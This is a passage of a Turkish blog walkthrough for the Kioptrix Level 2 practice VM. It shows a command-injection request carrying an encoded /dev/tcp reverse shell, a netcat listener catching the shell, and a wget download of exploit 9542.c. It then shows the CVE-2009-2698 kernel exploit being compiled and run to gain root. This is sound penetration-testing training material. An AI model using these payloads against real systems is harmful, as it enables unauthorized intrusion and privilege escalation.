\u250c\u2500\u2500(root💀kali)-[\/home\/kali\/oscp\/kioptrix2]\n\u2514\u2500# nc -lvp 1822 \nlistening on [any] 1822 ...\n<\/code><\/pre>\n\u015eimdi ise burp repeater \u00fczerinden iste\u011fimizi tekrar g\u00f6nderelim.<\/p>\n
POST \/pingit.php HTTP\/1.1\n\nHost: 192.168.0.23\n\nUser-Agent: Mozilla\/5.0 (X11; Linux x86_64; rv:78.0) Gecko\/20100101 Firefox\/78.0\n\nAccept: text\/html,application\/xhtml+xml,application\/xml;q=0.9,image\/webp,*\/*;q=0.8\n\nAccept-Language: en-US,en;q=0.5\n\nAccept-Encoding: gzip, deflate\n\nContent-Type: application\/x-www-form-urlencoded\n\nContent-Length: 104\n\nOrigin: http:\/\/192.168.0.23\n\nConnection: close\n\nReferer: http:\/\/192.168.0.23\/index.php\n\nUpgrade-Insecure-Requests: 1\n\nip=8.8.8.8; 0<%26173-%3bexec+173<>\/dev\/tcp\/192.168.0.21\/1822%3bsh+<%26173+>%26173+2>%26173&submit=submit<\/code><\/pre>\nReverse shell k\u0131sm\u0131n\u0131n encoding formatta oldu\u011funa dikkat edin. Bu i\u015flem sonucunda :<\/p>\n
\u250c\u2500\u2500(root💀kali)-[\/home\/kali\/oscp\/kioptrix2]\n\u2514\u2500# nc -lvp 1822 \nlistening on [any] 1822 ...\n192.168.0.23: inverse host lookup failed: Unknown host\nconnect to [192.168.0.21] from (UNKNOWN) [192.168.0.23] 32777\nwhoami\napache\n<\/code><\/pre>\nBa\u015far\u0131l\u0131 bir \u015fekilde sunucuya ba\u011fland\u0131k. \u0130lk olarak local privilege escalation yapmay\u0131 denedim. Bunun i\u00e7in nc<\/code> ile a\u00e7m\u0131\u015f oldu\u011fu reverse shell \u00fczerinden bilgiler toplad\u0131m.<\/p>\nlsb_release -a \nLSB Version: :core-3.0-ia32:core-3.0-noarch:graphics-3.0-ia32:graphics-3.0-noarch\nDistributor ID: CentOS\nDescription: CentOS release 4.5 (Final)\nRelease: 4.5\nCodename: Final\n\nuname -a\nLinux kioptrix.level2 2.6.9-55.EL #1 Wed May 2 13:52:16 EDT 2007 i686 i686 i386 GNU\/Linux\n\nuname -mrs\nLinux 2.6.9-55.EL i686\n<\/code><\/pre>\nBu bilgiler \u0131\u015f\u0131\u011f\u0131nda exploit arad\u0131m ve tam denkg elen bir sonu\u00e7 buldum.<\/p>\n
\u250c\u2500\u2500(root💀kali)-[\/home\/kali\/oscp\/kioptrix2]\n\u2514\u2500# searchsploit linux kernel local priv centos\n---------------------------------------------------------------- ---------------------------------\n Exploit Title | Path\n---------------------------------------------------------------- ---------------------------------\nLinux Kernel (Debian 7.7\/8.5\/9.0 \/ Ubuntu 14.04.2\/16.04.2\/17.04 | linux_x86-64\/local\/42275.c\nLinux Kernel (Debian 7\/8\/9\/10 \/ Fedora 23\/24\/25 \/ CentOS 5.3\/5. | linux_x86\/local\/42274.c\nLinux Kernel 2.4.x\/2.6.x (CentOS 4.8\/5.3 \/ RHEL 4.8\/5.3 \/ SuSE | linux\/local\/9545.c\nLinux Kernel 2.4\/2.6 (RedHat Linux 9 \/ Fedora Core 4 < 11 \/ Whi | linux\/local\/9479.c\nLinux Kernel 2.6 < 2.6.19 (White Box 4 \/ CentOS 4.4\/4.5 \/ Fedor | linux_x86\/local\/9542.c\nLinux Kernel 2.6.32 < 3.x (CentOS 5\/6) - 'PERF_EVENTS' Local Pr | linux\/local\/25444.c\nLinux Kernel 2.6.x \/ 3.10.x \/ 4.14.x (RedHat \/ Debian \/ CentOS) | linux_x86-64\/local\/45516.c\nLinux Kernel 3.10.0-514.21.2.el7.x86_64 \/ 3.10.0-514.26.1.el7.x | linux\/local\/42887.c\nLinux Kernel 3.14.5 (CentOS 7 \/ RHEL) - 'libfutex' Local Privil | linux\/local\/35370.c\n---------------------------------------------------------------- ---------------------------------\nShellcodes: No Results\n<\/code><\/pre>\nLinux Kernel 2.6 < 2.6.19 (White Box 4 \/ CentOS 4.4\/4.5 \/ Fedor | linux_x86\/local\/9542.c<\/code> sat\u0131r\u0131 tam bize g\u00f6re. Hemen deneyelim.<\/p>\n\u250c\u2500\u2500(root💀kali)-[\/home\/kali\/oscp\/kioptrix2]\n\u2514\u2500# locate linux_x86\/local\/9542.c\n\/usr\/share\/exploitdb\/exploits\/linux_x86\/local\/9542.c\n\n\u250c\u2500\u2500(root💀kali)-[\/home\/kali\/oscp\/kioptrix2]\n\u2514\u2500# cp \/usr\/share\/exploitdb\/exploits\/linux_x86\/local\/9542.c .\n\n\u250c\u2500\u2500(root💀kali)-[\/home\/kali\/oscp\/kioptrix2]\n\u2514\u2500# python3 -m http.server \nServing HTTP on 0.0.0.0 port 8000 (http:\/\/0.0.0.0:8000\/) ...\n<\/code><\/pre>\nC dosyas\u0131n\u0131 python3 arac\u0131l\u0131\u011f\u0131yla olu\u015fturmu\u015f oldu\u011fum bir http sunucusundan hedef makineme transfer edece\u011fim. Bunun i\u00e7in \/tmp klas\u00f6r\u00fcne gidiyorum.<\/p>\n
cd \/tmp\npwd\n\/tmp\nwget http:\/\/192.168.0.21:8000\/9542.c \n--16:09:51-- http:\/\/192.168.0.21:8000\/9542.c\n => `9542.c'\nConnecting to 192.168.0.21:8000... connected.\nHTTP request sent, awaiting response... 200 OK\nLength: 2,643 (2.6K) [text\/x-csrc]\n\n 0K .. 100% 360.08 MB\/s\n\n16:09:51 (360.08 MB\/s) - `9542.c' saved [2643\/2643]\n\nls\n9542.c\n<\/code><\/pre>\nHarika! \u015eimdi derleyelim.<\/p>\n
head -n 20 9542.c\n\/*\n**\n** 0x82-CVE-2009-2698\n** Linux kernel 2.6 < 2.6.19 (32bit) ip_append_data() local ring0 root exploit\n**\n** Tested White Box 4(2.6.9-5.ELsmp),\n** CentOS 4.4(2.6.9-42.ELsmp), CentOS 4.5(2.6.9-55.ELsmp),\n** Fedora Core 4(2.6.11-1.1369_FC4smp), Fedora Core 5(2.6.15-1.2054_FC5),\n** Fedora Core 6(2.6.18-1.2798.fc6).\n**\n** --\n** Discovered by Tavis Ormandy and Julien Tinnes of the Google Security Team.\n** Thankful to them.\n**\n** --\n** bash$ gcc -o 0x82-CVE-2009-2698 0x82-CVE-2009-2698.c && .\/0x82-CVE-2009-2698\n** sh-3.1# id\n** uid=0(root) gid=0(root) groups=500(x82) context=user_u:system_r:unconfined_t\n** sh-3.1#\n** --\n\nmv 9542.c 0x82-CVE-2009-2698.c\n\ngcc -o 0x82-CVE-2009-2698 0x82-CVE-2009-2698.c && .\/0x82-CVE-2009-2698\n0x82-CVE-2009-2698.c:109:28: warning: no newline at end of file\nsh: no job control in this shell\nsh-3.00# whoami\nroot\nsh-3.00# <\/code><\/pre>\nVe root!<\/p>\n","protected":false},"excerpt":{"rendered":"
Makine Hakk\u0131nda Bilgiler A\u00e7\u0131klama: This Kioptrix VM Image are easy challenges. The object of the game is to acquire root access via any means possible…<\/p>\n
Devam\u0131n\u0131 okuKioptrix 2 – Zafiyetli Makine Serisi #2<\/span><\/a><\/div>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[498],"tags":[501,28],"class_list":["post-1129","post","type-post","status-publish","format-standard","hentry","category-walkthrough","tag-local-privilege-escalation","tag-sql-injection","entry"],"_links":{"self":[{"href":"https:\/\/berenkudaygorun.com\/blog\/wp-json\/wp\/v2\/posts\/1129","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/berenkudaygorun.com\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/berenkudaygorun.com\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/berenkudaygorun.com\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/berenkudaygorun.com\/blog\/wp-json\/wp\/v2\/comments?post=1129"}],"version-history":[{"count":3,"href":"https:\/\/berenkudaygorun.com\/blog\/wp-json\/wp\/v2\/posts\/1129\/revisions"}],"predecessor-version":[{"id":1742,"href":"https:\/\/berenkudaygorun.com\/blog\/wp-json\/wp\/v2\/posts\/1129\/revisions\/1742"}],"wp:attachment":[{"href":"https:\/\/berenkudaygorun.com\/blog\/wp-json\/wp\/v2\/media?parent=1129"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/berenkudaygorun.com\/blog\/wp-json\/wp\/v2\/categories?post=1129"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/berenkudaygorun.com\/blog\/wp-json\/wp\/v2\/tags?post=1129"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}